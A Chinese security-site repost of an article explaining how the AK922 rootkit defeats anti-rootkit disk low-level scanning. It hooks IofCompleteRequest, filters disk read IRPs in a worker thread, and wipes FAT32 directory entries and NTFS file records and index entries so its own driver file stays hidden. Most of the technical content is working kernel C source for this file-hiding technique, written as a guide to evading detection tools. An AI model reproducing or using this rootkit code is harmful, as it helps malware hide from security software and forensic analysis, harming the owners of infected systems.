中华网络安全联盟 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 进程知识 技术论坛
中华网络安全联盟 >> 安全技术 >> 安全教学 >> AK922:突破磁盘低级检测实现文件隐藏
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
网管教你电脑防毒的几
网管技术:网络维护专
网管技术:网络维护专
网管技术:网络维护专
网管技术:网络维护专
电脑蓝屏后你需要注意
重装Windows系统后 卡
解决WinXP重装后原文件
AK922:突破磁盘低级检测实现文件隐藏
字体:

中华网络安全联盟    作者:佚名    来源:互联网    时间:2007-10-27 17:17:32

目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword, darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层, IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用 IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
下面就着重说一下工作流程:
首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的 Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到 IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:

// 处理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)

orgnThread = Irp->Tail.Overlay.Thread;
orgnProcess = IoThreadToProcess(orgnThread);

if(Irp->MdlAddress)

UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);

// UserBuffer必须有效
if(UserBuffer)

if(KeGetCurrentIrql() == DISPATCH_LEVEL)

RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));

WorkerCtx->UserBuffer = UserBuffer;
WorkerCtx->Length = irpSp->Parameters.Read.Length;
WorkerCtx->EProc = orgnProcess;

ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);

ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
}
}

}
}


来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:

VOID WorkerThread(PVOID Context)
{
KIRQL irql;
PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
//PMDL mdl;


if(((PWORKERCTX)Context)->UserBuffer)
{
if(eproc != currProc)
{

KeAttachProcess(eproc);

__try{

// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}

__except(EXCEPTION_EXECUTE_HANDLER){

//DbgPrint("we can’t op the buffer now :-(");
KeDetachProcess(); 
return;
}

KeDetachProcess(); 

}else{

__try{

// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}

__except(EXCEPTION_EXECUTE_HANDLER){}
}

}
}

准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{
UCHAR magic[4];
USHORT UpdateSequenceOffset;
USHORT SizeInWords;
LARGE_INTEGER LogFileSeqNumber;
LARGE_INTEGER VCN;
ULONG IndexEntryOffset; // needed!
ULONG IndexEntrySize;
ULONG AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;

typedef struct _INDEX_ENTRY{
LARGE_INTEGER MFTReference;
USHORT Size; // needed!
USHORT FileNameOffset;
USHORT Flags;
USHORT Padding;
LARGE_INTEGER MFTReferParent;
LARGE_INTEGER CreationTime;
LARGE_INTEGER ModifyTime;
LARGE_INTEGER FileRecModifyTime;
LARGE_INTEGER AccessTime;
LARGE_INTEGER AllocateSize;
LARGE_INTEGER RealSize;
LARGE_INTEGER FileFlags;
UCHAR FileNameLength;
UCHAR NameSpace;
WCHAR FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
ULONG i;
BOOLEAN bIsNtfsIndex;
BOOLEAN bIsNtfsFile;
ULONG offset = 0;
ULONG indexSize = 0;
PINDEX_ENTRY currIndxEntry = NULL;
PINDEX_ENTRY preIndxEntry = NULL;
ULONG currPosition;


bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)

for(i = 0; i < BufLen/0x20; i++)
{
if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
{

*(PUCHAR)UserBuf = 0xe5;
*(PULONG)((ULONG)UserBuf + 0x1) = 0;

break;

}

UserBuf = (PVOID)((ULONG)UserBuf + 0x20);

}

} else if(bIsNtfsFile) {

//DbgPrint("FILE0...");

for(i = 0; i < BufLen / FILERECORDSIZE; i++)
{
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
{
memset((PVOID)UserBuf, 0, 0x4);
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
break;
}

UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);

}

} else if(bIsNtfsIndex) {

//DbgPrint("INDX...");
// Index Entries

offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
indexSize = BufLen - offset;
currPosition = 0;

currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);

while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
{
if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
{
memset((PVOID)currIndxEntry->FileName, 0, 18);

if(currPosition == 0)
{
((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
break;
}

preIndxEntry->Size += currIndxEntry->Size;

break;
}

currPosition += currIndxEntry->Size;
preIndxEntry = currIndxEntry;
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);

}
}
}

字体:
 
设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
Copyright©2006-2008 中华网络安全联盟 All rights reserved.